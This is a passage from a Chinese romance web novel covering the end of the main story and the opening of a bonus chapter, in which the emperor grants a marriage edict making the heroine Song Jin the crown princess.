只要她看不到,随便他爱怎么看怎么看。 …… 相比起他俩老夫老妻的静态相处模式,几米之后的岐王府马车中,两个小年轻就要活泼许多。 宋锦一上车就脱了鞋袜,半躺在马车的小塌上,双手垫着脑袋,晃着脚丫,碎碎念念:“你听到了没?就储家那个,黑还是你们搞政治的黑啊……” 齐铮面带无奈:“跟我可没有关系。” 朝堂上的事情,齐晔一般都不会瞒着他。 梁家涉及的势力不少,之前在青郡府可以说元气大伤,但是到底狡兔三窟,一行人逃离他处,不过这一次可以说是连根拔起。 潜伏二十年的叛乱势力被剿灭,齐晔这段时间每日吃饭都忍不住多吃一碗。 当然,若没有储邵的事的话,他能再多吃一碗。 一个顶尖大儒学士闹出这般丑闻,齐晔觉得糟心得很,更糟心的事他竟然完全没有察觉,这次科考还点了储家的小子做探花,这也就算了,这小子身子还这般不争气,领了银子没几天就‘病’死了,浪费他一个科考名额。 齐晔没少和齐铮吐槽,让他以后引以为戒。 可是真就只为此吗? 齐铮不确定,他可没有忘记,宋锦母女俩离开林溪镇的时候,被梁家死士埋伏的事。 当时,储邵可就在林渊书院,而宋锦正巧也去了那边。 一个巧合是巧,两个巧合,也不一定了。 齐铮低下头,轻轻揪了揪腿上散落的乌黑秀发。 宋锦说话声一顿,抬手就是一巴掌拍了过去,凤眸微睁,凶巴巴:“干什么?” 齐铮松开手,转而捏住她的脸颊,低声:“冲动。” 证据,有时候重要,有时候又不那么重要。都城的老狐狸,可不是她家那一位。 宋锦反手抓住他的手腕就是一嘴,理直气壮:“不知道你在说什么。” 齐铮也没有和她算账的意思,过了就过了,总归,她向来只杀该杀之人,不会牵连无辜。 而该杀的人,死也就死了。 比起王爷皇子,他的骨子里还是那江湖侠客,更喜快意恩仇。 齐铮只是提醒她罢了,说过,他继续 绕着她的秀发,任由她拿自己的手磨牙,然后和她说着梁家的后续。 “梁王已死,梁家其他人也抓了大半,或许还有散落在外面的人,但是不成气候,影响不了什么。倒是储邵,父王和我说,他会这般,可能是因为他以往和前朝的绥宁公主有过一段往事的缘故,据说破城时候,绥宁公主怀着孩子……” 至于那孩子是谁的,现在在哪儿,其实也不重要了。 这个天下,永远是以百姓为根。 百姓安,则皇室安;百姓乱,则皇室更。 ** 三月出头,青草遍地。 金铃山上的金铃花要秋日才开,但是遍地的野花已经冒出了脑袋,漫山遍野地铺开,很是好看。 现在正是踏春好时节,金铃山上人来人往,生机满满。 虽然知道的人不多,但是金玲山确实是宋商个人私有的,若是他愿意,在山下设了栅栏,就能避免闲杂人等闯入。 “迟暮老人,少年风华,稚童与狗。”曲茂泽站在最高巅,俯身看着山下往来行人,发自内心的笑,“皆是景致。” 牛铁兰并肩而站,听到这话,瞥眼看他,神色有些一言难尽。 所以说,这人当初收养五个样子,就是当狗玩的是吧? 曲茂泽转头看她,勾唇,指着金铃山,笑道:“喜欢吗?” 这山,可以说是他一手勾勒打造的,一花一草,一亭一阶,风雅精美,又与周围融为一体,一切恰到好处。 牛铁兰杏眸莹润,抿了抿嘴,迟疑好一会儿,还是小声道:“你,为何取这名?” 金铃山金铃树,便是让她不往这方面想也难。 曲茂泽看着她轻咬唇瓣,低低一笑:“其实吧,本是想效仿江南金陵,附庸风雅一回,却遇到一马虎鬼,记错了字迹,等到发现了,改起来也麻烦,便将错就错,夫人不用多想。” 牛铁兰点头:“那确实挺巧的。” 曲茂泽挑眉:“夫人信了?” 牛铁兰瞪他:“信你满口谎言,胡言乱语。” 曲茂泽笑了出来,伸手揽住她的肩膀,将人抱入怀中,就这般抵在她的脑袋上,看着山下盎然春意,低声温语。 “后山还有一片春兰,现在正是开的时候,可要去看看?” 牛铁兰怔:“你……” 无需她说完,曲茂泽便知她要说什么,含笑:“去年秋日找人种下的。” 牛铁兰轻轻咬唇,莹莹杏眸对着他清亮凤眸,心中一片涩然,好一会儿,她点了点头。 曲茂泽噙着笑,手从她肩上放下,稳稳拦住她纤细的腰肢,就这般转身朝后,去看那一片兰草坡。 不管是金铃花,还是春日兰,只要她喜欢,便都是最好的。 他们走过石阶小路,绕过茵茵绿草,踩过一片精心种植的花海,来到另一片兰海。 白瀑银河,浅流鱼虾,松鼠飞鸟,蜓虫飞蝶。 春日的绿意之上,各色的兰草迎风飘摇,铺满整个山谷,一片勃勃生机之色。 一只五彩的蝴蝶风筝从谷底飘起,悬着断掉的筝线,摇摇欲坠。 夫妻俩迎风而立,静眸欣赏,那春风缠绵,吹动青丝飘摇,吹得心儿软软。 如果,飞上来的风筝不是牛铁兰的心头好的话。 如果,兰草堆里没有散落一地碎花残枝的话 确实如此。 牛铁兰站在坡上柳叶眉蹙,身形轻晃,轻轻的,伸手捂住了心口,一副弱柳之姿,发出惊天巨吼。 “小混球你是不是找死……” 坡下,一路肆意撒欢,玩累了的宋锦躺野生兰花丛里轻闭双眼,嘴上叼着朵兰花,翘着腿轻晃。 只闻一阵熟悉的怒吼,她一个打滚蹦起,看着被糟蹋大半的花丛,挑起眉头。 得了,原来不是野生的啊。 宋锦嚼着花皱着脸,看着那边山坡上拎着裙摆追下来的亲娘,撒腿狂奔,大喊:“娘亲,冷静,冷静。” 牛铁兰拎着裙角追逐,怒:“冷静你个鬼,给老娘站住,小混球。” 宋锦:“傻子才站呢。” 牛铁兰:“宋锦!!!” …… 母女俩穿于绿草繁花,你追我跑。 齐铮无奈摇头,遂踏着林木寻回风筝,盘腿坐于崖上,免于牵连。 曲茂泽站于花间,看着母女俩追逐打闹,听着她们银铃笑意,嗔怒吼声,嘴角微扬,挥袖扬袍,蝶影翩翩。 “金铃花花开秋日,春日兰兰桂齐芳……” (正文完) 第143章 番外一关于太子妃 “陛下,国无太子而无稳,太子一日不立,江山一日不稳啊。” 在朝臣们再一次提出这个话题的时候,齐晔这一次毫不犹豫地同意了。 说得对,没太子不稳。 于是,他家好大儿就从岐王成了太子。 另外三个王爷,不对,是一个王爷加两个郡王屁都不敢放一个。 大臣们也早就猜到这个可能,一年多的时间已经够他们适应这个结果了,尤其是这段时间大衍事端不断,岐王也展示了他相应的处理能力,担得起这个位置。 虽然在读书上,他还差得很远,但是没关系,他们可以慢慢教。 因此,立太子一事,说得上上下都非常满意,一时之间,君臣和谐,大家欢愉。 不过这样的日子持续了不到两月时间,又有大臣趁机进言:“太子殿后院空无一人,应当早日娶妻,开枝散叶。” 对此,齐晔没有像立太子一般欢喜,反而蹙着眉头,高深莫测:“太子尚且年幼。” 进言的大臣:“……太子已及冠一年。” 无论如何也说不上年幼了。 其他皇子十五六岁后院就有人了,也都是十八九岁成婚,真等到及冠还是一个人的,也就齐铮这个江湖长大不讲究的太子了。 大臣继续:“便是您觉得太子年幼不急成婚,但未来太子妃侧妃人选总得先看好吧?太子殿下成婚已晚,现在永安城适龄的贵女不多,再拖两年,女子年华不待啊。” 永安城女子基本上十四五岁便要相看对象,待十六岁及笄后便开始准备婚事,十七八岁成婚刚好。若及笄后再相看,一番风顺还好,若有个万一,耽搁一两年,后面可就难了。 尤其是太子妃人选,家世、才华、容貌样样都得有吧?这可是太子妃啊。 而齐铮回来得晚,上头三个王爷婚事也早已定下,都城家世出众的人家,便是适龄的好女郎并不多了,更别说样样都出挑的好姑娘。 选拔、订婚、成婚,随随便便又是一年,谁家的姑娘都是花儿,不可能一直等着,现在不趁早还待何时? 提议的大臣,是发自内心地为陛下、太子分忧。 毕竟,他家里还未婚的女儿才年芳七岁,他要是有私心,巴不得人晚点结婚。 而这样的大臣,也不是一个两个。 虽然朝堂上大家各自为营,平日很多事也有私心,但是大体上,他们还是希望大衍平稳繁荣,能长长久久地安稳下去的。 前朝啊,太苦了。 那个年头,谁没有死几个亲人,没走几个朋友? 现在社稷江山平稳,皇上圣明,百姓丰衣足食,没什么不好的,所以皇上安然,太子稳重,江山安稳,环环相扣。 面对一个又一个大臣的提议,齐晔心有感慨:“你们说的有道理,这事确实不能再拖了,不过朕还需与太子相商。” 再拖下去,他怀疑哪天小皇孙都会跑了,还不会叫爷爷。 几个大臣不懂他的深意,只是见他同意了,高兴之余,公事之后,又忍不住暗戳戳地加上私心,开始给他推荐起了自己认识的合适女郎。 不说正妃,侧妃也不错啊。 太子这般年纪后院无人,现在能进去,自然和以后再有的情分不一样。 这做官嘛,就是要拉拉关系。 自家没有合适的女郎,亲朋好友那儿还没有吗? 这太子殿下回都之后,除了将他找回来前首辅的宋家,和其他人家都不算亲近,一切按着 礼节而来,不好不坏,若是后院有自己人,那肯定不一样了。 一时之间,太子选妃的消息漏出去,齐晔这儿很快集了一堆美人像,都城各家合适的少女画像都在这儿。 他笑眯眯看向自家好大儿:“看看?” 此时,已经当了三月太子殿齐铮比起往日越发肃穆,他深知自己学识的不足,也更知威严的重要性,所以比起以往更端得一副沉稳严肃模样,让人面对他的时候,第一反应不是他不懂,而是他另有想法。 这招很管用。 因为他看起来太不可冒犯了,大部分官员在知道他的底细的情况下,都不会对他有小瞧之心,更不敢对他有所掩藏或者欺骗。 当然,这不包括他的老师们,还有亲爹。 齐铮垂眸看着那几箱子的少女图,再听着他死性不改的诱惑,沉默好一会儿,道:“父皇,你再不赐婚,您的未来儿媳就要跟着她爹娘去云游天下了。” 若是没有牵挂,自由的鸟儿怎么会想要待在笼子里呢? 即便这个笼子够大。 齐晔双眸乍然瞪大:“云游天下?” 齐铮点头:“嗯,从永安成出发,一路朝南,绕着岭南出发,然后东到沿海,去漠北最北地,再绕回来。听说腾海那边制出大船出海,发现一片无人岛,里面遍布虫蛇,十分危险,却也有很多新奇的食物,曲公子和金金很感兴趣。” 齐晔一巴掌拍在桌上,眼神变幻:“不行,朕已经三年没离开过都城了,那小子还云游上了。” 齐铮继续补充:“带着妻女儿郎一起。” 齐晔深呼吸再深呼吸,还是没忍住咬牙:“放肆,简直放肆,都走了还干不干活了?” 他这皇帝当得容易吗? 他上次离开永安城,都是三年前了。 宋商那死小子倒好,以前用着亲力亲为的借口到处跑就算了,好歹也要干活,现在真就游山玩水去了,拖家带口纯玩啊。 不行,他不允许,他见不得人这般快活。 想着,齐晔也不拿桥了,把那些送上来的画册扔到一边,从桌下掏出早已备好的圣旨,狰狞一笑:“一会儿让孙总管陪你去,时间找钦天监核算,明年初肯定有好日子。你小子使使劲,早日给朕生两个小皇孙,朕倒是要看看,他还舍不舍得跑。” 想出去潇洒?没门。 给他留在这儿继续辅佐人。 齐铮看着亲爹狰狞的模样,嘴角一抽:“……谢父皇。” 他依稀记得,自己刚回来那会儿,父皇还是一头乌发,随着宋首辅的‘去世’,不到一年,父皇头发已经花白了不少,稀稀疏疏的。 这当皇帝压力也不小,一个能力出众的好大臣,真的很重要。 齐铮感慨万千,面上依旧冷静自持,发自内心道:“父皇您,保重身体,江山社稷需要您。” 他不着急,一点也不急,这个担子太重了,他还需要再学个几十年。 …… 下旨的这天是个大晴天。 天空碧蓝如洗,几道彩虹悬于天边。 宋锦难得没有出门,在家待客。 夏日炎热,因为是在家里,发型衣服都很简单。 她穿着件紫色底的薄纱夏裙,密长的头发扎成条全部束在脑袋上,身上也没什么饰品,就一个简单的紫宝石珠钗,在阳光下闪闪发光,矜贵而华美。 杨彦珺看着她这一身,啧啧称奇:“认识这么久了,就没见你穿过重样,这宝石,宋将军送回来的吧?” 宋锦懒洋洋吃着葡萄:“是啊,打胜仗了缴的,寄了一盒子回来,我和璇姐一人分了一半。” 那自然是不可能的。 滕千璇那儿就是意思意思的送了几颗,她这边倒是一大盒子,不过被她老娘收着,她万事不管,只管享受。 刚回来那会儿,宋锦因为整日在外晒着,只能算是普通白皙。这一年来风吹雨打少了,又经过一个冬日的蕴养,整个人肉眼可见白了两个度。 阳光透过稀疏枝叶落下,她半躺在那儿,裙摆上拉,双腿长而有力,晃动间,都能看到绷起的线条,长臂肩颈大片露在外面,整个人修长矫健,像是雪地里懒洋洋的雪豹,绵软美丽,却藏着危险。 杨彦珺看她胸前一片白腻,啧啧两下,忍不住低头看看这自己的,觉得老天爷不公平。 这人都这么瘦了,怎么比她还有? “天生的,不用羡慕。”宋锦懒洋洋地啃着果子,半坐起身,一双腿半搭在小塌上,轻轻晃动,漂亮得不像话。 她悠哉悠哉,“所以说夫君还是得找又高又俊的。” 她娘好看,他死鬼爹也像样,才有她现在这般模样。 杨彦珺:“行了行了,知道你心上人又高又俊了。” 宋锦一口啃下果子,继续补充:“还有权有势武艺高强大方体贴。” 杨彦珺嘴角一抽:“……你可真好意思。” 宋锦眉眼轻挑,得意:“事实而已。” 虽然有些欠,但是她说的确实也是事实,杨彦珺反驳无能,拿过一个果子咬了两口,还是忍不住道:“可是这么久了,陛下那儿都没个消息,你要不让你大哥三哥去说说?” 宋锦和齐铮的事知道的人并不多。 宋锦天天茶馆酒楼路边,跟谁都能说上话,平日也没少约着舒程浩、严盛、阿茂小多这些个男人家一起吃饭,和齐铮走在外面也并不显得突兀。 而且,她和齐铮,一个乡野出身,一个侠客出身,都身怀武艺,两个人凑一起,平日时不时比个剑赛个马,看着可比和其他人一起正经多了,很难往那方面想,便是有人心思细腻想到,观宫里的反应,也只会当不知道。 就像杨彦珺,她虽一开始就觉得两人有点什么,后面真确定他们在一起了,还是大吃一惊,怀疑人在开玩笑,真确定了,心里又免不了担忧。 这么久了,宫里的平静也验证了她的担忧。 皇上,应该不同意这事。 不说宋锦本身性格,就说宋家,在继宋首辅连着掌握朝堂二十年之后,又出了宋行之宋慎之这一文一武双星,已经盛到了极点,若是再出一个太子妃。 杨彦珺忍不住叹气,再看宋锦依旧跟没事人似的坐在那儿,担忧又变成了无语:“你心可真大。” 宋锦继续啃果子,一只脚杵着地,另一只脚挂在竹椅把手上,自在随心:“是你想得太多了,有什么好说的?太子和我的事虽然没摆到明面上,这不是也没和别人放明面上吗?” 她现在很快乐,这就够了。 日 后的烦恼,日后再说呗。 真要想那么多,她现在除了要想皇上不同意他们的事,还得操心日后齐铮变心,或者忌惮宋家,或者日后什么乱七八糟皇子争斗了。 想想都脑袋疼。 关键是,就算及时自损,换个人处对象或者入赘,还是一样要操心人变心或者别有用心,或者孩子遇到事…… 太麻烦了。 宋锦已经把脑子扔上辈子了,这辈子简简单单开开心心就够了,再多的,让她老娘和死鬼爹去操心吧。 她晃着白得发光的脚丫子,啧啧两下:“你看,你就是想太多,都长白头发了,再过两年就该长皱纹了。” 杨彦珺立马不担心她了,惊恐起身,跑向程思懿那儿:“皱纹?我真的长皱纹了?我就说,我就说,年华消逝,容颜易老。” 程思懿扶额,无奈:“没有,明光诳你的。” 宋锦挑起眉头,一本正经:“我可没有哈,我这人,就是诚实。” 杨彦珺抱着程思懿的膝盖磕着脑袋,哀怨:“老了,老了,我家花花以后得靠你们这个姨姨了。” 宋锦哟了一声:“别想,我可不给别人养孩子。” 杨彦珺:“狠心的女人,狠心的姨姨,亏我家花花还想着你。” …… 两人你一句我一句,凑在一起格外热闹。 程思懿看得好笑,摇了摇头,端起茶水抿了一口,继续看着宋府的藏书,不愧是做夫子的女人,就是淡然心静。 宋锦能和杨彦珺打闹,对上程思懿这个文化人,心里总有些发虚,生怕说着说着,这人就来一句史学经典,紧接着一句孺子不可教也,便把给齐铮留的作业也给她一份。 光是想想,她就忍不住理理嗓子喝了口茶水,再转头看向另一边。 牛铁兰和滕千璇坐在一起自己弄着珠串。 她宋锦放下茶杯,净了净手,朝着她们那边走去,声还未到,手已先到,就跟手欠的猫儿似的,总喜欢扒拉两下。 牛铁兰看着落地的珍珠,柳眉轻蹙,声音警告:“宋金金。” 宋锦手指微动,从桌边默默挪开,蹲在地上老实捡起地上的珠子,嘴里嘟囔着:“有什么好弄的,又费力又伤眼睛,让锦绣坊的人弄得了。” 牛铁兰瞥她:“你吃饭怎么不让别人帮你吃?” 宋锦轻哼:“不吃饭会饿死,到时候你又心疼了。” 牛铁兰微微一笑:“那你出门怎么不让别人替你出门?在家里安全省事。” 宋锦缩回脑袋不说话,把珍珠一颗颗放了回去,坐在那儿看着她老娘串着珠链。 牛铁兰的手很巧,不仅能制香,穿绳做珠链也格外好看,便是刺绣,色彩样式也格外好看,不过她不怎么刺绣,费劲伤神,以前还以此拒绝给宋锦做香囊。 当然,真实的原因是因为宋锦太糟蹋东西了,她懒得费劲。 宋锦心里也有数,所以提过一次就老实了,但是,前阵子,她老娘给她死鬼爹做了香囊,让她很是不平,便是后面牛铁兰又给她衣服上绣了花,她也还是惦着这事。 小气得不得了。 牛铁兰懒得和她多说,说也说不清,就继续弄着珍珠手链,珍珠的样式倒是简单,主要是编绳麻烦,她又用的金线,更得小心翼翼。 这般弄了一个多时辰,才用红绳金丝串好珍珠玛瑙链,五光十色,格外好看,最主要的,天下独一无二。 宋锦趴在旁边,眸光闪闪,已经伸出手放在桌上了。 她老娘喜好淡雅典韵,这般华贵精致的链子,想也知道是给谁做的。 “小混球” 牛铁兰嘴上低斥,手上动作轻柔,小心地将珠链栓在她的手腕上,然后敲着她的脑袋,没好气:“满意了吧?” 宋锦扬着嘴角,脑袋一歪:“这次只有我有了吧?” 牛铁兰睨她:“再废话就还我。” 宋锦嘻嘻一笑,抬起手就开始满院子炫耀去了。 就在一堆幼稚、无聊、好烦的娇喝声中,那压在平静悠闲生活上的小烦恼被等候已久的圣旨轻轻碾碎。 “奉天承运,皇帝诏曰:首辅宋商之女,明光郡主宋锦,年芳十六,持玲珑之心,蕙质兰心,宠辱不惊,对内伯俞泣杖,孝悌力田,为一代孝女;对外破坚摧刚,忠勇无畏,抓反贼,护百姓,舍生忘死,护驾有功,乃孝悌忠信之辈,与太子齐铮天造地设,为太子妃不二选择……”【你现在阅读的是 】